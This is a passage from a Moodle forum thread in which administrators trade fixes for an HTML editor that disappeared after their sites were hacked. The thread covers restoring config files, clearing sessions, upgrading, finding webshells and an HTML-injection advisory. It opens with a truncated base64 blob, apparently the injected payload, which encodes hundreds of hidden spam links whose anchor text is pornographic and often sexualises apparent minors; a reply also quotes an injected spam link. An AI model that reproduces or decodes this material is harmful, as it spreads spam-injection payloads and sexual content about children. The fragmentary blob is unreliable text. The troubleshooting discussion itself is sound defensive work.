b2RsZS93YXkucGhwP2Q9YmxhY2srZ3V5K2xpY2tzK3B1c3N5PmJsYWNrIGd1eSBsaWNrcyBwdXNzeTwvYT4NCjxhIGhyZWY9aHR0cDovL21vb2RsZS5zZGNvZS5uZXQvbXltb29kbGUvd2F5LnBocD9kPWhvcm55K2JsYWNrK21vbXMrbGljaytwdXNzeT5ob3JueSBibGFjayBtb21zIGxpY2sgcHVzc3k8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD1ibGFjaysrK3R3aW5zK2xpY2srcHVzc3k+YmxhY2sgICB0d2lucyBsaWNrIHB1c3N5PC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9YmxhY2srbWFuK2xpY2tzK3B1c3N5PmJsYWNrIG1hbiBsaWNrcyBwdXNzeTwvYT4NCjxhIGhyZWY9aHR0cDovL21vb2RsZS5zZGNvZS5uZXQvbXltb29kbGUvd2F5LnBocD9kPWJsYWNrK2xlc2JpYW5zK2xpY2srZWFjaCtvdGhlcnMrcHVzc3krb3V0PmJsYWNrIGxlc2JpYW5zIGxpY2sgZWFjaCBvdGhlcnMgcHVzc3kgb3V0PC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9YmxhY2srbGVzYmlhbnMrbGljaytwdXNzeT5ibGFjayBsZXNiaWFucyBsaWNrIHB1c3N5PC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9YmxhY2srbGV6emllcytsaWNrK3B1c3N5PmJsYWNrIGxlenppZXMgbGljayBwdXNzeTwvYT4NCjxhIGhyZWY9aHR0cDovL21vb2RsZS5zZGNvZS5uZXQvbXltb29kbGUvd2F5LnBocD9kPWJsYWNrK21lbitsaWNrK3doaXRlK3B1c3N5PmJsYWNrIG1lbiBsaWNrIHdoaXRlIHB1c3N5PC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9cHVzc3krYmxhY2srbGljaz5wdXNzeSBibGFjayBsaWNrPC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9YmxhY2srYml0Y2grcHVzc3krbGlja2VkPmJsYWNrIGJpdGNoIHB1c3N5IGxpY2tlZDwvYT4NCjxhIGhyZWY9aHR0cDovL21vb2RsZS5zZGNvZS5uZXQvbXltb29kbGUvd2F5LnBocD9kPWJsYWNrK2xlc2JvK3B1c3N5K2xpY2tlZD5ibGFjayBsZXNibyBwdXNzeSBsaWNrZWQ8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD1idXN0eStiYWJlcytnZXQrcHVzc3krbGlja2VkK2J5K2JsYWNrK21lbj5idXN0eSBiYWJlcyBnZXQgcHVzc3kgbGlja2VkIGJ5IGJsYWNrIG1lbjwvYT4NCjxhIGhyZWY9aHR0cDovL21vb2RsZS5zZGNvZS5uZXQvbXltb29kbGUvd2F5LnBocD9kPXRpZ2h0K3B1c3N5PnRpZ2h0IHB1c3N5PC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9eW91bmcrdGlnaHQrcHVzc3k+eW91bmcgdGlnaHQgcHVzc3k8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD10aWdodCt5b3VuZytwdXNzeT50aWdodCB5b3VuZyBwdXNzeTwvYT4NCjxhIGhyZWY9aHR0cDovL21vb2RsZS5zZGNvZS5uZXQvbXltb29kbGUvd2F5LnBocD9kPXRpZ2h0K3lvdW5nK3ZpcmdpbitwdXNzeT50aWdodCB5b3VuZyB2aXJnaW4gcHVzc3k8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD1mcmVlK3RpZ2h0K3lvdW5nK3B1c3N5PmZyZWUgdGlnaHQgeW91bmcgcHVzc3k8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD15b3VuZythbmQrdGlnaHQrcHVzc3k+eW91bmcgYW5kIHRpZ2h0IHB1c3N5PC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9YnVzdGluK3lvdW5nK3RpZ2h0K3B1c3N5PmJ1c3RpbiB5b3VuZyB0aWdodCBwdXNzeTwvYT4NCjxhIGhyZWY9aHR0cDovL21vb2RsZS5zZGNvZS5uZXQvbXltb29kbGUvd2F5LnBocD9kPXlvdW5nK2dpcmxzK3RpZ2h0K3B1c3N5PnlvdW5nIGdpcmxzIHRpZ2h0IHB1c3N5PC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9eW91bmcrdGlnaHQrcHVzc3krZnVsbD55b3VuZyB0aWdodCBwdXNzeSBmdWxsPC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9aG90K3lvdW5nK3RpZ2h0K3B1c3N5PmhvdCB5b3VuZyB0aWdodCBwdXNzeTwvYT4NCjxhIGhyZWY9aHR0cDovL21vb2RsZS5zZGNvZS5uZXQvbXltb29kbGUvd2F5LnBocD9kPWh1Z2UrY29jaytmdWNraW5nK3RpZ2h0K3lvdW5nK3B1c3N5Pmh1Z2UgY29jayBmdWNraW5nIHRpZ2h0IHlvdW5nIHB1c3N5PC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9bG9saXRhK3RpZ2h0K3lvdW5nK3B1c3N5PmxvbGl0YSB0aWdodCB5b3VuZyBwdXNzeTwvYT4NCjxhIGhyZWY9aHR0cDovL21vb2RsZS5zZGNvZS5uZXQvbXltb29kbGUvd2F5LnBocD9kPXRpZ2h0K3B1c3N5K3lvdW5nPnRpZ2h0IHB1c3N5IHlvdW5nPC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9Y2xvc2V1cCtvZit5b3VuZyt0aWdodCtwdXNzeT5jbG9zZXVwIG9mIHlvdW5nIHRpZ2h0IHB1c3N5PC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9dGhlK2RvZytyYW1tZWQraGVyK3RpZ2h0K3lvdW5nK3B1c3N5PnRoZSBkb2cgcmFtbWVkIGhlciB0aWdodCB5b3VuZyBwdXNzeTwvYT4NCjxhIGhyZWY9aHR0cDovL21vb2RsZS5zZGNvZS5uZXQvbXltb29kbGUvd2F5LnBocD9kPXlvdW5nK2FuZCtvbGQrdGlnaHQrcHVzc3k+eW91bmcgYW5kIG9sZCB0aWdodCBwdXNzeTwvYT4NCjxhIGhyZWY9aHR0cDovL21vb2RsZS5zZGNvZS5uZXQvbXltb29kbGUvd2F5LnBocD9kPXlvdW5nK3RpZ2h0K3B1c3N5K2Z1Y2tlZCtoYXJkPnlvdW5nIHRpZ2h0IHB1c3N5IGZ1Y2tlZCBoYXJkPC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9eW91bmcrdGlnaHQrcHVzc3lzPnlvdW5nIHRpZ2h0IHB1c3N5czwvYT4NCjxhIGhyZWY9aHR0cDovL21vb2RsZS5zZGNvZS5uZXQvbXltb29kbGUvd2F5LnBocD9kPXlvdW5nK3RpZ2h0K3ZpcmdpbitwdXNzeT55b3VuZyB0aWdodCB2aXJnaW4gcHVzc3k8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD10aWdodCt2ZXJ5K3lvdW5nK3B1c3N5PnRpZ2h0IHZlcnkgeW91bmcgcHVzc3k8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD10aWdodCt5b3VuZytwdXNzeStmYWNpYWw+dGlnaHQgeW91bmcgcHVzc3kgZmFjaWFsPC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9dGlnaHQreW91bmcrcHVzc3krZ2V0dGluZytmdWNrZWQraGFyZD50aWdodCB5b3VuZyBwdXNzeSBnZXR0aW5nIGZ1Y2tlZCBoYXJkPC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9dGlnaHQreW91bmcrcHVzc3krcGljPnRpZ2h0IHlvdW5nIHB1c3N5IHBpYzwvYT4NCjxhIGhyZWY9aHR0cDovL21vb2RsZS5zZGNvZS5uZXQvbXltb29kbGUvd2F5LnBocD9kPXRpZ2h0K3lvdW5nK3B1c3N5cz50aWdodCB5b3VuZyBwdXNzeXM8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD15b3VuZytibG9uZGVzK2Z1Y2tpbmcrYmlnK2RpY2tzK2luK3RpZ2h0K3B1c3N5PnlvdW5nIGJsb25kZXMgZnVja2luZyBiaWcgZGlja3MgaW4gdGlnaHQgcHVzc3k8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD15b3VuZytnaXJsK3RpZ2h0K3B1c3N5K2Z1Y2s+eW91bmcgZ2lybCB0aWdodCBwdXNzeSBmdWNrPC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9eW91bmcrZ2lybHMrd2l0aCt0aWdodCtwdXNzeStnZXR0aW5nK2Z1Y2tlZCtoYXJkPnlvdW5nIGdpcmxzIHdpdGggdGlnaHQgcHVzc3kgZ2V0dGluZyBmdWNrZWQgaGFyZDwvYT4NCjxhIGhyZWY9aHR0cDovL21vb2RsZS5zZGNvZS5uZXQvbXltb29kbGUvd2F5LnBocD9kPXlvdW5nK3RpZ2h0K2Vib255K3B1c3N5PnlvdW5nIHRpZ2h0IGVib255IHB1c3N5PC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9eW91bmcrdGlnaHQrZnJlc2grcHVzc3k+eW91bmcgdGlnaHQgZnJlc2ggcHVzc3k8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD15b3VuZyt0aWdodCtwdXNzeStmdWNrPnlvdW5nIHRpZ2h0IHB1c3N5IGZ1Y2s8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD15b3VuZyt0aWdodCtwdXNzeStmdWNrZWQraGFyZGNvcmU+eW91bmcgdGlnaHQgcHVzc3kgZnVja2VkIGhhcmRjb3JlPC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9eW91bmcrdGlnaHQrcHVzc3krZ2V0dGluZytmdWNrZWQ+eW91bmcgdGlnaHQgcHVzc3kgZ2V0dGluZyBmdWNrZWQ8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD1mcmVzaCt5b3VuZyt0aWdodCtwdXNzeT5mcmVzaCB5b3VuZyB0aWdodCBwdXNzeTwvYT4NCjxhIGhyZWY9aHR0cDovL21vb2RsZS5zZGNvZS5uZXQvbXltb29kbGUvd2F5LnBocD9kPWZ1Y2srdGhhdCt0aWdodCt5b3VuZytwdXNzeT5mdWNrIHRoYXQgdGlnaHQgeW91bmcgcHVzc3k8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD1mdWNraW5nK3lvdW5nK3RpZ2h0K3B1c3N5PmZ1Y2tpbmcgeW91bmcgdGlnaHQgcHVzc3k8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD1ob3QrdGlnaHQreW91bmcrcHVzc3k+aG90IHRpZ2h0IHlvdW5nIHB1c3N5PC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9aStmZWx0K215K2xvYWQrc2hvb3QrZGVlcCtpbnRvK2hlcit0aWdodCt5b3VuZytwdXNzeT5pIGZlbHQgbXkgbG9hZCBzaG9vdCBkZWVwIGludG8gaGVyIHRpZ2h0IHlvdW5nIHB1c3N5PC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9bXkreW91bmcrdGlnaHQrcHVzc3k+bXkgeW91bmcgdGlnaHQgcHVzc3k8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD1yZWFsbHkreW91bmcrYW5kK3NleHkrbGVzYmlhbnMrd2l0aCt0aWdodCtwdXNzaWVzK2hhdmluZytzZXg+cmVhbGx5IHlvdW5nIGFuZCBzZXh5IGxlc2JpYW5zIHdpdGggdGlnaHQgcHVzc2llcyBoYXZpbmcgc2V4PC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9c2hlK2xldCttZStmdWNrK3RoYXQrdGlnaHQreW91bmcrcHVzc3k+c2hlIGxldCBtZSBmdWNrIHRoYXQgdGlnaHQgeW91bmcgcHVzc3k8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD1zbWFsbCt5b3VuZytnaXJsK3dpdGgrdGlnaHQrcHVzc3krZnVja2VkK29uK3ZpZGVvPnNtYWxsIHlvdW5nIGdpcmwgd2l0aCB0aWdodCBwdXNzeSBmdWNrZWQgb24gdmlkZW88L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD1zbyt5b3VuZyt0aWdodCt2aXJnaW4rcHVzc3k+c28geW91bmcgdGlnaHQgdmlyZ2luIHB1c3N5PC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9c3VwZXIrdGlnaHQreW91bmcrYXNpYW4rcHVzc3k+c3VwZXIgdGlnaHQgeW91bmcgYXNpYW4gcHVzc3k8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD10aWdodCtwdXNzeSthbmQreW91bmcrZ2lybHM+dGlnaHQgcHVzc3kgYW5kIHlvdW5nIGdpcmxzPC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9dGlnaHQreW91bmcrcHVzc2llcz50aWdodCB5b3VuZyBwdXNzaWVzPC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9dGlnaHQreW91bmcrcHVzc3krYnJ1bmV0dGU+dGlnaHQgeW91bmcgcHVzc3kgYnJ1bmV0dGU8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD12ZXJ5K3lvdW5nK3RpZ2h0K2FzYWluK2dpcmxzK3B1c3N5K2JlaW5nK2Z1Y2tlZD52ZXJ5IHlvdW5nIHRpZ2h0IGFzYWluIGdpcmxzIHB1c3N5IGJlaW5nIGZ1Y2tlZDwvYT4NCjxhIGhyZWY9aHR0cDovL21vb2RsZS5zZGNvZS5uZXQvbXltb29kbGUvd2F5LnBocD9kPXZlcnkreW91bmcrdGlnaHQrcHVzc3k+dmVyeSB5b3VuZyB0aWdodCBwdXNzeTwvYT4NCjxhIGhyZWY9aHR0cDovL21vb2RsZS5zZGNvZS5uZXQvbXltb29kbGUvd2F5LnBocD9kPXlvdW5nK2dpcmwrZ2V0dGluZytmdWNrZWQraW4raGVyK3RpZ2h0K3B1c3N5PnlvdW5nIGdpcmwgZ2V0dGluZyBmdWNrZWQgaW4gaGVyIHRpZ2h0IHB1c3N5PC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9eW91bmcranVjaXkrdGlnaHQrcHVzc3k+eW91bmcganVjaXkgdGlnaHQgcHVzc3k8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD15b3VuZyt0YW4rZ2lybCtmaW5nZXJpbmcraGVyK3RpZ2h0K3B1c3N5PnlvdW5nIHRhbiBnaXJsIGZpbmdlcmluZyBoZXIgdGlnaHQgcHVzc3k8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD15b3VuZyt0aWdodCtjbG9zZSt1cCtvZithK3B1c3N5PnlvdW5nIHRpZ2h0IGNsb3NlIHVwIG9mIGEgcHVzc3k8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD15b3VuZyt0aWdodCtwdXNzaWVzPnlvdW5nIHRpZ2h0IHB1c3NpZXM8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD15b3VuZyt0aWdodCtwdXNzeStmdWNrZWQ+eW91bmcgdGlnaHQgcHVzc3kgZnVja2VkPC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9eW91bmcrdGlnaHQrcHVzc3kraGFyZGNvcmU+eW91bmcgdGlnaHQgcHVzc3kgaGFyZGNvcmU8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD15b3VuZyt2aXJnaW5zK3dpdGgrdGlnaHQrcHVzc3krZ2V0dGluZytmdWNrZWQrYW5kK2N1bStzaG90PnlvdW5nIHZpcmdpbnMgd2l0aCB0aWdodCBwdXNzeSBnZXR0aW5nIGZ1Y2tlZCBhbmQgY3VtIHNob3Q8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD10aWdodCthc2lhbitwdXNzeT50aWdodCBhc2lhbiBwdXNzeTwvYT4NCjxhIGhyZWY9aHR0cDovL21vb2RsZS5zZGNvZS5uZXQvbXltb29kbGUvd2F5LnBocD9kPWFzaWFuK3RpZ2h0K3B1c3N5PmFzaWFuIHRpZ2h0IHB1c3N5PC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9dGlnaHQrYXNpYW4rcHVzc3krZ2V0dGluZytmdWNrZWQ+dGlnaHQgYXNpYW4gcHVzc3kgZ2V0dGluZyBmdWNrZWQ8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD10aWdodCthc2lhbisrcHVzc3k+dGlnaHQgYXNpYW4gIHB1c3N5PC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9dGlnaHQrYXNpYW4rcHVzc3krZnVja2VkPnRpZ2h0IGFzaWFuIHB1c3N5IGZ1Y2tlZDwvYT4NCjxhIGhyZWY9aHR0cDovL21vb2RsZS5zZGNvZS5uZXQvbXltb29kbGUvd2F5LnBocD9kPXRpZ2h0Kythc2lhbitwdXNzeT50aWdodCAgYXNpYW4gcHVzc3k8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD15b3VuZ2UrYXNpYW4rdGlnaHQrcHVzc3k+eW91bmdlIGFzaWFuIHRpZ2h0IHB1c3N5PC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9ZnVjaytteSt0aWdodCthc2lhbitwdXNzeT5mdWNrIG15IHRpZ2h0IGFzaWFuIHB1c3N5PC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9dGlnaHQrYXNpYW4rcHVzc3krY2xvc2V1cD50aWdodCBhc2lhbiBwdXNzeSBjbG9zZXVwPC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9dGlnaHQrYXNpYW4rcHVzc3krZnVja2VkK2hhcmQ+dGlnaHQgYXNpYW4gcHVzc3kgZnVja2VkIGhhcmQ8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD10aWdodCtwdXNzeSthc2lhbj50aWdodCBwdXNzeSBhc2lhbjwvYT4NCjxhIGhyZWY9aHR0cDovL21vb2RsZS5zZGNvZS5uZXQvbXltb29kbGUvd2F5LnBocD9kPWFzaWFuK2dpcmwrd2l0aCt0aWdodCtwdXNzeT5hc2lhbiBnaXJsIHdpdGggdGlnaHQgcHVzc3k8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD1ob3QrdGlnaHQrYXNpYW4rcHVzc3k+aG90IHRpZ2h0IGFzaWFuIHB1c3N5PC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9bmV2ZXIrYmVlbit0b3VjaGVkK3RpZ2h0K2FzaWFuK3B1c3N5Pm5ldmVyIGJlZW4gdG91Y2hlZCB0aWdodCBhc2lhbiBwdXNzeTwvYT4NCjxhIGhyZWY9aHR0cDovL21vb2RsZS5zZGNvZS5uZXQvbXltb29kbGUvd2F5LnBocD9kPXRpZ2h0K2FzaWFuK3B1c3N5K2dldHRpbmcrY3JlYW1lZD50aWdodCBhc2lhbiBwdXNzeSBnZXR0aW5nIGNyZWFtZWQ8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD10aWdodCtzaGF2ZWQrYXNpYW4rcHVzc3krc3F1aXJ0K29uK2ZhY2U+dGlnaHQgc2hhdmVkIGFzaWFuIHB1c3N5IHNxdWlydCBvbiBmYWNlPC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9dGlnaHQrcHVzc2llcz50aWdodCBwdXNzaWVzPC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9YmlnK2RpY2tzK3RpZ2h0K3B1c3NpZXM+YmlnIGRpY2tzIHRpZ2h0IHB1c3NpZXM8L2E+DQo8YSBocmVmPWh0dHA6Ly9tb29kbGUuc2Rjb2UubmV0L215bW9vZGxlL3dheS5waHA/ZD10aWdodCtsaXR0bGUrcHVzc2llcz50aWdodCBsaXR0bGUgcHVzc2llczwvYT4NCjxhIGhyZWY9aHR0cDovL21vb2RsZS5zZGNvZS5uZXQvbXltb29kbGUvd2F5LnBocD9kPXRpZ2h0K3B1c3NpZXMrZnVja2VkPnRpZ2h0IHB1c3NpZXMgZnVja2VkPC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9bGFyZ2UrY29ja3MraW4rdGlnaHQrcHVzc2llcz5sYXJnZSBjb2NrcyBpbiB0aWdodCBwdXNzaWVzPC9hPg0KPGEgaHJlZj1odHRwOi8vbW9vZGxlLnNkY29lLm5ldC9teW1vb2RsZS93YXkucGhwP2Q9bWFzc2l2ZStkaWNrcytpbit0aWdodCtwdXNzaWVzPm1hc3NpdmUgZGlja3MgaW4g

I removed it. Now I am looking for /moodledata/sessions/* but do not find this map... Am I blind????

In reply to Andreas Wesseler

Re: HTML editor disappeared (from Firefox)

by Jeff Wood -
We got hit with the code too dead

href=http://www.x-sightingtravel.com/?search=as

I've replaced the config file and am checking.

Jeff
In reply to Jeff Wood

Re: HTML editor disappeared (from Firefox)

by Jeff Wood -
I had to upgrade to latest 1.8.8 version and cleared the sessions files to... now all working. Also changed PHP setting to use v5 (on shared host).
In reply to Jeff Wood

Re: HTML editor disappeared (from Firefox)

by Daniel Cruz -
Hi, I still have my moodle without the editor...

I made all the steps:

1) restored my config file.
2) restored the entire /lib/editors dir
3) deleted cache
4) deleted /moodledata/sessions/*
5) Upgrade from 1.8 to 1.9

And nothing.

I also saw in my username profile, that the option to use the editor is not editable. Is write No: don't use richtext editor. And i can't chage that.

Can anyone help me?

Thank you.
In reply to Daniel Cruz

Re: HTML editor disappeared (from Firefox)

by Mauno Korpelainen -

Hi Daniel,

if I had to guess something... try to remove the google analytics code from your site...

(I visited your site and it was the first thing that popped up at the bottom - scripts like this can easily break javascript of editor)

In reply to Daniel Cruz

Re: HTML editor disappeared (from Firefox)

by Nathalia Might-B -

I'm using Firefox: I cleared all my browser history and cookies. That fixed the issue.

In reply to Maureen O'Halloran

Re: HTML editor disappeared (from Firefox)

by Verdon Vaillancourt -
I haven't been able to get this back. I am running a 1.8.3 site. I did have the intrusion on Jan 27. I took the following steps.

1) restored my config file.
2) restored the entire /lib/editors dir
3) deleted cookies and cache
4) deleted /moodledata/sessions/*

Now, I do have an html area editor, but the toolbar only has...
a) a Lang select menu (?)
b) a 'Clean Word HTML' icon
c) a 'Prevent automatic linking' icon

No other tools.

Any suggestions?

Thanks,
verdon

In reply to Verdon Vaillancourt

Re: HTML editor disappeared (from Firefox)

by Verdon Vaillancourt -
The client got the toolbar back by going to Administration > Appearance > HTML Editor and un-hiding the buttons that somehow had become hidden
Average of ratings: Useful (1)
In reply to Verdon Vaillancourt

Re: HTML editor disappeared (from Firefox)

by Cesar Martinez -

Hi sir, I'm using free hosting from moodlehub.com and I don´t have the html editor. This host is supposed to use this one: TinyMCE HTML. But I don't know how to activate it. I followed what you said > Appearance > HTML Editor but the "HTML Editor" link doesn't appear. Help me please!!

In reply to Verdon Vaillancourt

Re: HTML editor disappeared (from Firefox)

by Verdon Vaillancourt -
I just wanted to say too, that when I stared to investigate further, I found all kinds of new and hacked files on this site. Thank goodness I use suphp on the server, and the damage was restricted to this particular account.

There were webshells and strange userz scripts and all kinds of modified modedit.php files and other sundry stuff. 30 or 40 files in all.

Does anyone know of anywhere in the forums or the bugtracker where vulnerabilities to 1.8.x might be discussed? This is a heavily customized site that I don't particularly want to bring to 1.9.x if I can plug the hole.

rgds,
verdon

In reply to Maureen O'Halloran

Re: HTML editor disappeared (from Firefox)

by G I H A N -

HTML Injection Vulnerability (HTML editor suddenly disappear)

We had the same issue and our config.php file was infected with some php code appended to it. moodle 1.8 seem to be vulnerable for remote code injection attacks like this that cause the HTML editor to disappear. Cleaning those php code and refreshing the web server cache solve the issue.

You should disable "Allow trust content" for security:

Administration > Security > Site policies

This is one main cause for html code injection and execution by a users infected browser.


REFERENCES:

SecurityFocus Microsoft Newsletter #405: http://marc.info/?l=focus-ms&m=121753753720717&w=2

Moodle is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

The following Moodle branches and corresponding versions are affected:

1.9.x: prior to 1.9.4
1.8.x: prior to 1.8.8
1.7.x: prior to 1.7.7
1.6.x: prior to 1.6.9

G I H A N

In reply to G I H A N

Re: HTML editor disappeared (from Firefox)

by Merle Mason -

Gihan,

Re:
1.9.x: prior to 1.9.4
1.8.x: prior to 1.8.8
1.7.x: prior to 1.7.7
1.6.x: prior to 1.6.9

Is there a bug fix that closed this HTML vulnerability in the latest releases of these respective versions? I read the Release notes and the Bug fixes and improvements for each, and I find no mention of closing this HTML vulnerability issue.

I've also searched for any posts about configuring moodle for a different port, but have not found anything. Thanks.

Merle 

In reply to Merle Mason

Re: HTML editor disappeared (from Firefox)

by Mauno Korpelainen -
In reply to Mauno Korpelainen

Svar: Re: HTML editor disappeared (from Firefox)

by Madde Alm -
